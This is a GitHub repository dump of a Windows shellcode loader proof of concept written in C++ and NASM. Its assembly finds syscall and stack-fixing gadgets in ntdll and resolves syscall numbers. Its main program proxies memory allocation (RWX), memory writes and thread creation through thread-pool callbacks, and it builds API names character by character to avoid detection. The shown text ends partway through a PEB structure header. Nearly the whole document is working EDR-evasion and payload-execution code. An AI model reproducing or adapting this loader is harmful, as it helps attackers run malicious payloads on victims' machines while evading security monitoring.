├── Assembly.asm ├── Callbacks.h ├── Compiler.bat ├── LICENSE ├── Main.cpp ├── PEB.h ├── README.md └── Shellcode.h /Assembly.asm: -------------------------------------------------------------------------------- 1 | section .data 2 | 3 | syscall_ret dq 0000000000000000h 4 | add_rsp_ret dq 0000000000000000h 5 | 6 | section .text 7 | 8 | global GetSSNByFuncAddress 9 | global Search_For_Syscall_Ret 10 | global Search_For_Add_Rsp_Ret 11 | global NtAllocateVirtualMemory_Callback 12 | global NtCreateThreadEx_Callback 13 | global NtWriteVirtualMemory_Callback 14 | 15 | NtAllocateVirtualMemory_Callback: 16 | sub rsp, 0x78 17 | mov r15, add_rsp_ret 18 | mov r15, [r15] 19 | push r15 20 | mov rbx, rdx ; backing up the struct as we are going to stomp rdx 21 | mov rcx, [rbx] ; HANDLE ProcessHandle 22 | mov rdx, [rbx + 0x8] ; PVOID *BaseAddress 23 | mov r8, [rbx + 0x10] ; ULONG_PTR ZeroBits 24 | mov r9, [rbx + 0x18] ; PSIZE_T RegionSize 25 | mov r10, [rbx + 0x24] ; ULONG Protect 26 | mov [rsp+0x30], r10 ; stack pointer for 6th arg 27 | mov r10, [rbx + 0x20] ; ULONG AllocationType 28 | mov [rsp+0x28], r10 ; stack pointer for 5th arg 29 | mov r10, rcx 30 | mov r15, syscall_ret 31 | mov r15, [r15] 32 | mov rax, [rbx + 0x28] 33 | jmp r15 34 | 35 | NtWriteVirtualMemory_Callback: 36 | sub rsp, 0x78 37 | mov r15, add_rsp_ret 38 | mov r15, [r15] 39 | push r15 40 | mov rbx, rdx ; backing up the struct as we are going to stomp rdx 41 | mov rcx, [rbx] ; HANDLE ProcessHandle 42 | mov rdx, [rbx + 0x8] ; PVOID *address 43 | mov r8, [rbx + 0x10] ; PVOID *buffer 44 | mov r9, [rbx + 0x18] ; ULONG BytesToWrite 45 | mov r10, [rbx + 0x20] ; ULONG BytesWriten 46 | mov [rsp+0x28], r10 ; stack pointer for 5th arg 47 | mov r10, rcx 48 | mov r15, syscall_ret 49 | mov r15, [r15] 50 | mov rax, [rbx + 0x28] 51 | jmp r15 52 | 53 | NtCreateThreadEx_Callback: 54 | sub rsp, 0x78 55 | mov r15, add_rsp_ret 56 | mov r15, [r15] 57 | push r15 58 | mov rbx, rdx ; backing up the struct as we are going to stomp rdx 59 | mov rcx, [rbx] ; PHANDLE threadH 60 | mov rdx, [rbx + 0x8] ; ACCESS_MASK desiredAcess 61 | mov r8, [rbx + 0x10] ; PVOID objAttributes 62 | mov r9, [rbx + 0x18] ; HANDLE pHandle 63 | mov r10, [rbx + 0x50] ; PVOID lpBytesBuffer 64 | mov [rsp+0x58], r10 ; stack pointer for 11th arg 65 | mov r10, [rbx + 0x48] ; SIZE_T sizeOfStackReserve 66 | mov [rsp+0x50], r10 ; stack pointer for 10th arg 67 | mov r10, [rbx + 0x40] ; SIZE_T sizeOfStackCommit 68 | mov [rsp+0x48], r10 ; stack pointer for 9th arg 69 | mov r10, [rbx + 0x38] ; SIZE_T stackZeroBits 70 | mov [rsp+0x40], r10 ; stack pointer for 8th arg 71 | mov r10, [rbx + 0x30] ; ULONG flags 72 | mov [rsp+0x38], r10 ; stack pointer for 7th arg 73 | mov r10, [rbx + 0x28] ; PVOID lpParameter 74 | mov [rsp+0x30], r10 ; stack pointer for 6th arg 75 | mov r10, [rbx + 0x20] ; PVOID lpStartAddress 76 | mov [rsp+0x28], r10 ; stack pointer for 5th arg 77 | mov r10, rcx 78 | mov r15, syscall_ret 79 | mov r15, [r15] 80 | mov rax, [rbx + 0x58] 81 | jmp r15 82 | 83 | Search_For_Syscall_Ret: 84 | ; Search for Syscall + Ret 85 | mov rdx, rax 86 | add rdx, 1 87 | xor rbx, rbx 88 | xor rcx, rcx 89 | mov rcx, 00FFFFFF0000000000h 90 | mov rdi, [rdx] 91 | and rdi, rcx 92 | or rbx, rdi 93 | shr rbx, 28h 94 | cmp rbx, 1F0FC3h 95 | jne Search_For_Syscall_Ret + 3h 96 | mov r15, syscall_ret 97 | mov [r15], rdx 98 | xor r15, r15 99 | ret 100 | 101 | Search_For_Add_Rsp_Ret: 102 | ; Search for add rsp, 78 + Ret 103 | mov rdx, rax 104 | add rdx, 1 105 | xor rbx, rbx 106 | xor rcx, rcx 107 | mov rcx, 0000FFFFFFFFFFh 108 | mov rdi, [rdx] 109 | and rdi, rcx 110 | or rbx, rdi 111 | mov r14, 00C378C48348h 112 | cmp rbx, r14 113 | jne Search_For_Add_Rsp_Ret + 3h 114 | mov r15, add_rsp_ret 115 | mov [r15], rdx 116 | ret 117 | 118 | GetSSNByFuncAddress: 119 | mov ebx, 0xB8D18B4C 120 | mov rdx, 0x0 121 | mov rax, [rcx] 122 | cmp eax, ebx 123 | je GetSSNByFuncAddress + 0x1B 124 | add rcx, 0x20 125 | add rdx, 0x1 126 | jmp GetSSNByFuncAddress + 0xA 127 | mov rax, [rcx + 0x4] 128 | sub rax, rdx 129 | ret 130 | -------------------------------------------------------------------------------- /Callbacks.h: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | ///////////////////// 4 | // CALLBACK ARGS // 5 | ///////////////////// 6 | 7 | typedef struct _NTALLOCATEVIRTUALMEMORY_ARGS { 8 | HANDLE hProcess; 9 | PVOID* address; 10 | SIZE_T zeroBits; 11 | PSIZE_T size; 12 | ULONG allocationType; 13 | ULONG permissions; 14 | DWORD ssn; 15 | } NTALLOCATEVIRTUALMEMORY_ARGS, *PNTALLOCATEVIRTUALMEMORY_ARGS; 16 | 17 | typedef struct _NTWRITEVIRTUALMEMORY_ARGS { 18 | HANDLE hProcess; 19 | PVOID address; 20 | PVOID buffer; 21 | ULONG numberOfBytesToWrite; 22 | PULONG numberOfBytesWritten; 23 | DWORD ssn; 24 | } NTWRITEVIRTUALMEMORY_ARGS, * PNTWRITEVIRTUALMEMORY_ARGS; 25 | 26 | typedef struct _NTCREATETHREADEX_ARGS { 27 | PHANDLE threadHandle; // Pointer to a variable that receives a handle to the new thread 28 | ACCESS_MASK desiredAccess; // Desired access to the thread 29 | PVOID objectAttributes; // Pointer to an OBJECT_ATTRIBUTES structure that specifies the object's attributes 30 | HANDLE processHandle; // Handle to the process in which the thread is to be created 31 | PVOID lpStartAddress; // Pointer to the application-defined function of type LPTHREAD_START_ROUTINE to be executed by the thread 32 | PVOID lpParameter; // Pointer to a variable to be passed to the thread 33 | ULONG flags; // Flags that control the creation of the thread 34 | SIZE_T stackZeroBits; // A pointer to a variable that specifies the number of high-order address bits that must be zero in the stack pointer 35 | SIZE_T sizeOfStackCommit; // The size of the stack that must be committed at thread creation 36 | SIZE_T sizeOfStackReserve; // The size of the stack that must be reserved at thread creation 37 | PVOID lpBytesBuffer; // Pointer to a variable that receives any output data from the system 38 | DWORD ssn; // SSN 39 | } NTCREATETHREADEX_ARGS, * PNTCREATETHREADEX_ARGS; 40 | 41 | ////////////////////////// 42 | // ASSEMBLY FUNCTIONS // 43 | ////////////////////////// 44 | 45 | extern "C" void Search_For_Syscall_Ret( 46 | HANDLE ntdllHandle 47 | ); 48 | 49 | extern "C" void Search_For_Add_Rsp_Ret( 50 | HANDLE ntdllHandle 51 | ); 52 | 53 | extern "C" void NtAllocateVirtualMemory_Callback( 54 | PTP_CALLBACK_INSTANCE Instance, 55 | PVOID Context, 56 | PTP_WORK Work 57 | ); 58 | 59 | extern "C" void NtWriteVirtualMemory_Callback( 60 | PTP_CALLBACK_INSTANCE Instance, 61 | PVOID Context, 62 | PTP_WORK Work 63 | ); 64 | 65 | extern "C" void NtCreateThreadEx_Callback( 66 | PTP_CALLBACK_INSTANCE Instance, 67 | PVOID Context, 68 | PTP_WORK Work 69 | ); 70 | -------------------------------------------------------------------------------- /Compiler.bat: -------------------------------------------------------------------------------- 1 | @ECHO OFF 2 | 3 | nasm -f win64 .\Assembly.asm -o .\Assembly.obj 4 | g++ -o poc.exe main.cpp Assembly.obj 5 | del *.obj 6 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 pard0p 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Main.cpp: -------------------------------------------------------------------------------- 1 | #include "Callbacks.h" 2 | #include "Shellcode.h" 3 | #include "PEB.h" 4 | #include 5 | 6 | //Definition of the Windows Thread Pooling functions 7 | typedef NTSTATUS(NTAPI* TPALLOCWORK)(PTP_WORK* ptpWrk, PTP_WORK_CALLBACK pfnwkCallback, PVOID OptionalArg, PTP_CALLBACK_ENVIRON CallbackEnvironment); 8 | typedef VOID(NTAPI* TPPOSTWORK)(PTP_WORK); 9 | typedef VOID(NTAPI* TPRELEASEWORK)(PTP_WORK); 10 | 11 | FARPROC pTpAllocWork; 12 | FARPROC pTpPostWork; 13 | FARPROC pTpReleaseWork; 14 | 15 | ///////////////////////// 16 | // GENERAL FUNCTIONS // 17 | ///////////////////////// 18 | 19 | HMODULE hNtdll; 20 | 21 | extern "C" DWORD GetSSNByFuncAddress(HANDLE functionAddress); 22 | 23 | HMODULE GetNtdllHandle() { 24 | #if defined(_WIN64) 25 | PPEB Peb = (PPEB)__readgsqword(0x60); 26 | #else 27 | PPEB Peb = (PPEB)__readfsdword(0x30); 28 | #endif 29 | 30 | PLDR_MODULE pLoadModule; 31 | pLoadModule = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 16); 32 | 33 | return (HMODULE)pLoadModule->BaseAddress; 34 | } 35 | 36 | PIMAGE_EXPORT_DIRECTORY GetExportTableAddress(HMODULE ImageBase) { 37 | uintptr_t baseAddress = reinterpret_cast(ImageBase); 38 | 39 | uintptr_t dosHeaderAddr = baseAddress; 40 | IMAGE_DOS_HEADER* dosHeader = reinterpret_cast(dosHeaderAddr); 41 | 42 | uintptr_t peHeaderAddr = baseAddress + dosHeader->e_lfanew; 43 | IMAGE_NT_HEADERS* ntHeader = reinterpret_cast(peHeaderAddr); 44 | 45 | IMAGE_EXPORT_DIRECTORY* exportDir = reinterpret_cast( 46 | baseAddress + ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); 47 | 48 | return (PIMAGE_EXPORT_DIRECTORY)exportDir; 49 | } 50 | 51 | HANDLE GetExportFunctionAddress(HMODULE moduleHandle, PIMAGE_EXPORT_DIRECTORY exportDir, const char* functionName) { 52 | uintptr_t baseAddress = reinterpret_cast(moduleHandle); 53 | DWORD* addressOfFunctions = reinterpret_cast(baseAddress + exportDir->AddressOfFunctions); 54 | DWORD numberOfFunctions = exportDir->NumberOfFunctions; 55 | 56 | DWORD* addressOfNameOrdinals = reinterpret_cast(baseAddress + exportDir->AddressOfNameOrdinals); 57 | DWORD* addressOfNames = reinterpret_cast(baseAddress + exportDir->AddressOfNames); 58 | 59 | uintptr_t functionAddress = 0; 60 | 61 | for (DWORD i = 0; i < numberOfFunctions; ++i) { 62 | const char* currentFunctionName = nullptr; 63 | 64 | if (i < exportDir->NumberOfNames) { 65 | currentFunctionName = reinterpret_cast(baseAddress + addressOfNames[i]); 66 | } 67 | 68 | functionAddress = baseAddress + addressOfFunctions[i+1]; 69 | 70 | if (currentFunctionName && strcmp(currentFunctionName, functionName) == 0) { 71 | functionAddress = functionAddress; 72 | return (HANDLE)functionAddress; 73 | } 74 | } 75 | 76 | return (HANDLE)-1; 77 | } 78 | 79 | DWORD GetSSN(const char* functionName) { 80 | //1. Get a HANDLE to the NTDLL. 81 | HMODULE hNtdll = GetNtdllHandle(); 82 | 83 | //2. Get NTDLL's export table. 84 | PIMAGE_EXPORT_DIRECTORY exportTable = GetExportTableAddress(hNtdll); 85 | 86 | //3. Get the NTDLL's function address by its name. 87 | HANDLE functionAddress = GetExportFunctionAddress(hNtdll, exportTable, functionName); 88 | 89 | //4. Get the Syscall number. 90 | DWORD SSN = GetSSNByFuncAddress(functionAddress); 91 | 92 | return SSN; 93 | } 94 | 95 | VOID initVariables() { 96 | unsigned char sNtdll[] = { 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l', 0x0 }; 97 | //hNtdll = GetModuleHandleA((LPCSTR)sNtdll); 98 | hNtdll = GetNtdllHandle(); 99 | 100 | Search_For_Syscall_Ret(hNtdll); 101 | Search_For_Add_Rsp_Ret(hNtdll); 102 | 103 | unsigned char sTpAllocWork[] = { 'T', 'p', 'A', 'l', 'l', 'o', 'c', 'W', 'o', 'r', 'k' , 0x0 }; 104 | pTpAllocWork = GetProcAddress(hNtdll, (LPCSTR)sTpAllocWork); 105 | 106 | unsigned char sTpPostWork[] = { 'T', 'p', 'P', 'o', 's', 't', 'W', 'o', 'r', 'k' , 0x0 }; 107 | pTpPostWork = GetProcAddress(hNtdll, (LPCSTR)sTpPostWork); 108 | 109 | unsigned char sTpReleaseWork[] = { 'T', 'p', 'R', 'e', 'l', 'e', 'a', 's', 'e', 'W', 'o', 'r', 'k', 0x0 }; 110 | pTpReleaseWork = GetProcAddress(hNtdll, (LPCSTR)sTpReleaseWork); 111 | } 112 | 113 | VOID setCallback(PTP_WORK_CALLBACK callback, PVOID args) { 114 | PTP_WORK WorkReturn = NULL; 115 | ((TPALLOCWORK)pTpAllocWork)(&WorkReturn, (PTP_WORK_CALLBACK)callback, args, NULL); 116 | ((TPPOSTWORK)pTpPostWork)(WorkReturn); 117 | ((TPRELEASEWORK)pTpReleaseWork)(WorkReturn); 118 | WaitForSingleObject((HANDLE)-1, 0x1000); 119 | } 120 | 121 | ///////////////////////// 122 | // NTDLL'S FUNCTIONS // 123 | ///////////////////////// 124 | 125 | PVOID NtAllocateVirtualMemory(HANDLE hProcess) { 126 | PVOID allocatedAddress = NULL; 127 | SIZE_T allocatedsize = 0x1000; 128 | 129 | NTALLOCATEVIRTUALMEMORY_ARGS ntAllocateVirtualMemoryArgs = { 0 }; 130 | ntAllocateVirtualMemoryArgs.hProcess = hProcess; 131 | ntAllocateVirtualMemoryArgs.address = &allocatedAddress; 132 | ntAllocateVirtualMemoryArgs.zeroBits = 0; 133 | ntAllocateVirtualMemoryArgs.size = &allocatedsize; 134 | ntAllocateVirtualMemoryArgs.allocationType = (MEM_RESERVE | MEM_COMMIT); 135 | ntAllocateVirtualMemoryArgs.permissions = PAGE_EXECUTE_READWRITE; 136 | ntAllocateVirtualMemoryArgs.ssn = GetSSN("NtAllocateVirtualMemory"); 137 | 138 | setCallback((PTP_WORK_CALLBACK)NtAllocateVirtualMemory_Callback, &ntAllocateVirtualMemoryArgs); 139 | 140 | return allocatedAddress; 141 | } 142 | 143 | VOID NtWriteVirtualMemory(HANDLE hProcess, PVOID allocatedAddress, PULONG bytesWritten) { 144 | NTWRITEVIRTUALMEMORY_ARGS ntWriteVirtualMemoryArgs = { 0 }; 145 | ntWriteVirtualMemoryArgs.hProcess = hProcess; 146 | ntWriteVirtualMemoryArgs.address = allocatedAddress; 147 | ntWriteVirtualMemoryArgs.buffer = code; 148 | ntWriteVirtualMemoryArgs.numberOfBytesToWrite = sizeof(code); 149 | ntWriteVirtualMemoryArgs.numberOfBytesWritten = bytesWritten; 150 | ntWriteVirtualMemoryArgs.ssn = GetSSN("NtWriteVirtualMemory"); 151 | 152 | //std::cout << "Test 0x" << std::hex << ntWriteVirtualMemoryArgs.ssn << std::endl; 153 | 154 | setCallback((PTP_WORK_CALLBACK)NtWriteVirtualMemory_Callback, &ntWriteVirtualMemoryArgs); 155 | } 156 | 157 | VOID NtCreateThreadEx(HANDLE hProcess, HANDLE hThread, PVOID allocatedAddress) { 158 | NTCREATETHREADEX_ARGS ntCreateThreadExArgs = { 0 }; 159 | ntCreateThreadExArgs.threadHandle = &hThread; 160 | ntCreateThreadExArgs.desiredAccess = GENERIC_EXECUTE; 161 | ntCreateThreadExArgs.objectAttributes = NULL; 162 | ntCreateThreadExArgs.processHandle = hProcess; 163 | ntCreateThreadExArgs.lpStartAddress = allocatedAddress; 164 | ntCreateThreadExArgs.lpParameter = NULL; 165 | ntCreateThreadExArgs.flags = FALSE; 166 | ntCreateThreadExArgs.stackZeroBits = 0; 167 | ntCreateThreadExArgs.sizeOfStackCommit = 0; 168 | ntCreateThreadExArgs.sizeOfStackReserve = 0; 169 | ntCreateThreadExArgs.lpBytesBuffer = NULL; 170 | ntCreateThreadExArgs.ssn = GetSSN("NtCreateThreadEx"); 171 | 172 | setCallback((PTP_WORK_CALLBACK)NtCreateThreadEx_Callback, &ntCreateThreadExArgs); 173 | } 174 | 175 | //////////// 176 | // MAIN // 177 | //////////// 178 | 179 | int main() { 180 | initVariables(); 181 | 182 | //HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ); 183 | HANDLE hProcess = (HANDLE)-1; 184 | 185 | std::cout << "[*] Executing NtAllocateVirtualMemory..." << std::endl; 186 | PVOID allocatedAddress = NtAllocateVirtualMemory(hProcess); 187 | std::cout << "\t[+] Allocated at: 0x" << allocatedAddress << std::endl; 188 | 189 | ULONG writenSize = 0; 190 | std::cout << "[*] Executing NtWriteVirtualMemory..." << std::endl; 191 | NtWriteVirtualMemory(hProcess, allocatedAddress, &writenSize); 192 | 193 | HANDLE hThread = NULL; 194 | std::cout << "[*] Executing NtCreateThreadEx..." << std::endl; 195 | NtCreateThreadEx(hProcess, hThread, allocatedAddress); 196 | 197 | //WaitForSingleObject(hThread, 0x1000); 198 | 199 | return 0; 200 | } 201 | -------------------------------------------------------------------------------- /PEB.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | /*-------------------------------------------------------------------- 5 | STRUCTURES 6 | --------------------------------------------------------------------*/ 7 | typedef struct _LSA_UNICODE_STRING { 8 | USHORT Length; 9 | USHORT MaximumLength; 10 | PWSTR Buffer; 11 | } LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING, * PUNICODE_STR; 12 | 13 | typedef struct _LDR_MODULE { 14 | LIST_ENTRY InLoadOrderModuleList; 15 | LIST_ENTRY InMemoryOrderModuleList; 16 | LIST_ENTRY InInitializationOrderModuleList; 17 | PVOID BaseAddress; 18 | PVOID EntryPoint; 19 | ULONG SizeOfImage; 20 | UNICODE_STRING FullDllName; 21 | UNICODE_STRING BaseDllName; 22 | ULONG Flags; 23 | SHORT LoadCount; 24 | SHORT TlsIndex; 25 | LIST_ENTRY HashTableEntry; 26 | ULONG TimeDateStamp; 27 | } LDR_MODULE, * PLDR_MODULE; 28 | 29 | typedef struct _PEB_LDR_DATA { 30 | ULONG Length; 31 | ULONG Initialized; 32 | PVOID SsHandle; 33 | LIST_ENTRY InLoadOrderModuleList; 34 | LIST_ENTRY InMemoryOrderModuleList; 35 | LIST_ENTRY InInitializationOrderModuleList; 36 | } PEB_LDR_DATA, * PPEB_LDR_DATA; 37 | 38 | typedef struct _PEB { 39 | BOOLEAN InheritedAddressSpace; 40 | BOOLEAN ReadImageFileExecOptions; 41 | BOOLEAN BeingDebugged; 42 | BOOLEAN Spare; 43 | HANDLE Mutant; 44 | PVOID ImageBase; 45 | PPEB_LDR_DATA LoaderData; 46 | PVOID ProcessParameters; 47 | PVOID SubSystemData; 48 | PVOID ProcessHeap; 49 | PVOID FastPebLock; 50 | PVOID FastPebLockRoutine; 51 | PVOID FastPebUnlockRoutine; 52 | ULONG EnvironmentUpdateCount; 53 | PVOID* KernelCallbackTable; 54 | PVOID EventLogSection; 55 | PVOID EventLog; 56 | PVOID FreeList; 57 | ULONG TlsExpansionCounter; 58 | PVOID TlsBitmap; 59 | ULONG TlsBitmapBits[0x2]; 60 | PVOID ReadOnlySharedMemoryBase; 61 | PVOID ReadOnlySharedMemoryHeap; 62 | PVOID* ReadOnlyStaticServerData; 63 | PVOID AnsiCodePageData; 64 | PVOID OemCodePageData; 65 | PVOID UnicodeCaseTableData; 66 | ULONG NumberOfProcessors; 67 | ULONG NtGlobalFlag; 68 | BYTE Spare2[0x4]; 69 | LARGE_INTEGER CriticalSectionTimeout; 70 | ULONG HeapSegmentReserve; 71 | ULONG HeapSegmentCommit; 72 | ULONG HeapDeCommitTotalFreeThreshold; 73 | ULONG HeapDeCommitFreeBlockThreshold; 74 | ULONG NumberOfHeaps; 75 | ULONG MaximumNumberOfHeaps; 76 | PVOID** ProcessHeaps; 77 | PVOID GdiSharedHandleTable; 78 | PVOID ProcessStarterHelper; 79 | PVOID GdiDCAttributeList; 80 | PVOID LoaderLock; 81 | ULONG OSMajorVersion; 82 | ULONG OSMinorVersion; 83 | ULONG OSBuildNumber; 84 | ULONG OSPlatformId; 85 | ULONG ImageSubSystem; 86 | ULONG ImageSubSystemMajorVersion; 87 | ULONG ImageSubSystemMinorVersion; 88 | ULONG GdiHandleBuffer[0x22]; 89 | ULONG PostProcessInitRoutine; 90 | ULONG TlsExpansionBitmap; 91 | BYTE TlsExpansionBitmapBits[0x80]; 92 | ULONG SessionId; 93 | } PEB, * PPEB; 94 | 95 | typedef struct __CLIENT_ID { 96 | HANDLE UniqueProcess; 97 | HANDLE UniqueThread; 98 | } CLIENT_ID, * PCLIENT_ID; 99 | 100 | typedef struct _TEB_ACTIVE_FRAME_CONTEXT { 101 | ULONG Flags; 102 | PCHAR FrameName; 103 | } TEB_ACTIVE_FRAME_CONTEXT, * PTEB_ACTIVE_FRAME_CONTEXT; 104 | 105 | typedef struct _TEB_ACTIVE_FRAME { 106 | ULONG Flags; 107 | struct _TEB_ACTIVE_FRAME* Previous; 108 | PTEB_ACTIVE_FRAME_CONTEXT Context; 109 | } TEB_ACTIVE_FRAME, * PTEB_ACTIVE_FRAME; 110 | 111 | typedef struct _GDI_TEB_BATCH { 112 | ULONG Offset; 113 | ULONG HDC; 114 | ULONG Buffer[310]; 115 | } GDI_TEB_BATCH, * PGDI_TEB_BATCH; 116 | 117 | typedef PVOID PACTIVATION_CONTEXT; 118 | 119 | typedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME { 120 | struct __RTL_ACTIVATION_CONTEXT_STACK_FRAME* Previous; 121 | PACTIVATION_CONTEXT ActivationContext; 122 | ULONG Flags; 123 | } RTL_ACTIVATION_CONTEXT_STACK_FRAME, * PRTL_ACTIVATION_CONTEXT_STACK_FRAME; 124 | 125 | typedef struct _ACTIVATION_CONTEXT_STACK { 126 | PRTL_ACTIVATION_CONTEXT_STACK_FRAME ActiveFrame; 127 | LIST_ENTRY FrameListCache; 128 | ULONG Flags; 129 | ULONG NextCookieSequenceNumber; 130 | ULONG StackId; 131 | } ACTIVATION_CONTEXT_STACK, * PACTIVATION_CONTEXT_STACK; 132 | 133 | typedef struct _TEB { 134 | NT_TIB NtTib; 135 | PVOID EnvironmentPointer; 136 | CLIENT_ID ClientId; 137 | PVOID ActiveRpcHandle; 138 | PVOID ThreadLocalStoragePointer; 139 | PPEB ProcessEnvironmentBlock; 140 | ULONG LastErrorValue; 141 | ULONG CountOfOwnedCriticalSections; 142 | PVOID CsrClientThread; 143 | PVOID Win32ThreadInfo; 144 | ULONG User32Reserved[26]; 145 | ULONG UserReserved[5]; 146 | PVOID WOW32Reserved; 147 | LCID CurrentLocale; 148 | ULONG FpSoftwareStatusRegister; 149 | PVOID SystemReserved1[54]; 150 | LONG ExceptionCode; 151 | #if (NTDDI_VERSION >= NTDDI_LONGHORN) 152 | PACTIVATION_CONTEXT_STACK* ActivationContextStackPointer; 153 | UCHAR SpareBytes1[0x30 - 3 * sizeof(PVOID)]; 154 | ULONG TxFsContext; 155 | #elif (NTDDI_VERSION >= NTDDI_WS03) 156 | PACTIVATION_CONTEXT_STACK ActivationContextStackPointer; 157 | UCHAR SpareBytes1[0x34 - 3 * sizeof(PVOID)]; 158 | #else 159 | ACTIVATION_CONTEXT_STACK ActivationContextStack; 160 | UCHAR SpareBytes1[24]; 161 | #endif 162 | GDI_TEB_BATCH GdiTebBatch; 163 | CLIENT_ID RealClientId; 164 | PVOID GdiCachedProcessHandle; 165 | ULONG GdiClientPID; 166 | ULONG GdiClientTID; 167 | PVOID GdiThreadLocalInfo; 168 | PSIZE_T Win32ClientInfo[62]; 169 | PVOID glDispatchTable[233]; 170 | PSIZE_T glReserved1[29]; 171 | PVOID glReserved2; 172 | PVOID glSectionInfo; 173 | PVOID glSection; 174 | PVOID glTable; 175 | PVOID glCurrentRC; 176 | PVOID glContext; 177 | NTSTATUS LastStatusValue; 178 | UNICODE_STRING StaticUnicodeString; 179 | WCHAR StaticUnicodeBuffer[261]; 180 | PVOID DeallocationStack; 181 | PVOID TlsSlots[64]; 182 | LIST_ENTRY TlsLinks; 183 | PVOID Vdm; 184 | PVOID ReservedForNtRpc; 185 | PVOID DbgSsReserved[2]; 186 | #if (NTDDI_VERSION >= NTDDI_WS03) 187 | ULONG HardErrorMode; 188 | #else 189 | ULONG HardErrorsAreDisabled; 190 | #endif 191 | #if (NTDDI_VERSION >= NTDDI_LONGHORN) 192 | PVOID Instrumentation[13 - sizeof(GUID) / sizeof(PVOID)]; 193 | GUID ActivityId; 194 | PVOID SubProcessTag; 195 | PVOID EtwLocalData; 196 | PVOID EtwTraceData; 197 | #elif (NTDDI_VERSION >= NTDDI_WS03) 198 | PVOID Instrumentation[14]; 199 | PVOID SubProcessTag; 200 | PVOID EtwLocalData; 201 | #else 202 | PVOID Instrumentation[16]; 203 | #endif 204 | PVOID WinSockData; 205 | ULONG GdiBatchCount; 206 | #if (NTDDI_VERSION >= NTDDI_LONGHORN) 207 | BOOLEAN SpareBool0; 208 | BOOLEAN SpareBool1; 209 | BOOLEAN SpareBool2; 210 | #else 211 | BOOLEAN InDbgPrint; 212 | BOOLEAN FreeStackOnTermination; 213 | BOOLEAN HasFiberData; 214 | #endif 215 | UCHAR IdealProcessor; 216 | #if (NTDDI_VERSION >= NTDDI_WS03) 217 | ULONG GuaranteedStackBytes; 218 | #else 219 | ULONG Spare3; 220 | #endif 221 | PVOID ReservedForPerf; 222 | PVOID ReservedForOle; 223 | ULONG WaitingOnLoaderLock; 224 | #if (NTDDI_VERSION >= NTDDI_LONGHORN) 225 | PVOID SavedPriorityState; 226 | ULONG_PTR SoftPatchPtr1; 227 | ULONG_PTR ThreadPoolData; 228 | #elif (NTDDI_VERSION >= NTDDI_WS03) 229 | ULONG_PTR SparePointer1; 230 | ULONG_PTR SoftPatchPtr1; 231 | ULONG_PTR SoftPatchPtr2; 232 | #else 233 | Wx86ThreadState Wx86Thread; 234 | #endif 235 | PVOID* TlsExpansionSlots; 236 | #if defined(_WIN64) && !defined(EXPLICIT_32BIT) 237 | PVOID DeallocationBStore; 238 | PVOID BStoreLimit; 239 | #endif 240 | ULONG ImpersonationLocale; 241 | ULONG IsImpersonating; 242 | PVOID NlsCache; 243 | PVOID pShimData; 244 | ULONG HeapVirtualAffinity; 245 | HANDLE CurrentTransactionHandle; 246 | PTEB_ACTIVE_FRAME ActiveFrame; 247 | #if (NTDDI_VERSION >= NTDDI_WS03) 248 | PVOID FlsData; 249 | #endif 250 | #if (NTDDI_VERSION >= NTDDI_LONGHORN) 251 | PVOID PreferredLangauges; 252 | PVOID UserPrefLanguages; 253 | PVOID MergedPrefLanguages; 254 | ULONG MuiImpersonation; 255 | union 256 | { 257 | struct 258 | { 259 | USHORT SpareCrossTebFlags : 16; 260 | }; 261 | USHORT CrossTebFlags; 262 | }; 263 | union 264 | { 265 | struct 266 | { 267 | USHORT DbgSafeThunkCall : 1; 268 | USHORT DbgInDebugPrint : 1; 269 | USHORT DbgHasFiberData : 1; 270 | USHORT DbgSkipThreadAttach : 1; 271 | USHORT DbgWerInShipAssertCode : 1; 272 | USHORT DbgIssuedInitialBp : 1; 273 | USHORT DbgClonedThread : 1; 274 | USHORT SpareSameTebBits : 9; 275 | }; 276 | USHORT SameTebFlags; 277 | }; 278 | PVOID TxnScopeEntercallback; 279 | PVOID TxnScopeExitCAllback; 280 | PVOID TxnScopeContext; 281 | ULONG LockCount; 282 | ULONG ProcessRundown; 283 | ULONG64 LastSwitchTime; 284 | ULONG64 TotalSwitchOutTime; 285 | LARGE_INTEGER WaitReasonBitMap; 286 | #else 287 | BOOLEAN SafeThunkCall; 288 | BOOLEAN BooleanSpare[3]; 289 | #endif 290 | } TEB, * PTEB; 291 | 292 | typedef struct _LDR_DATA_TABLE_ENTRY { 293 | LIST_ENTRY InLoadOrderLinks; 294 | LIST_ENTRY InMemoryOrderLinks; 295 | LIST_ENTRY InInitializationOrderLinks; 296 | PVOID DllBase; 297 | PVOID EntryPoint; 298 | ULONG SizeOfImage; 299 | UNICODE_STRING FullDllName; 300 | UNICODE_STRING BaseDllName; 301 | ULONG Flags; 302 | WORD LoadCount; 303 | WORD TlsIndex; 304 | union { 305 | LIST_ENTRY HashLinks; 306 | struct { 307 | PVOID SectionPointer; 308 | ULONG 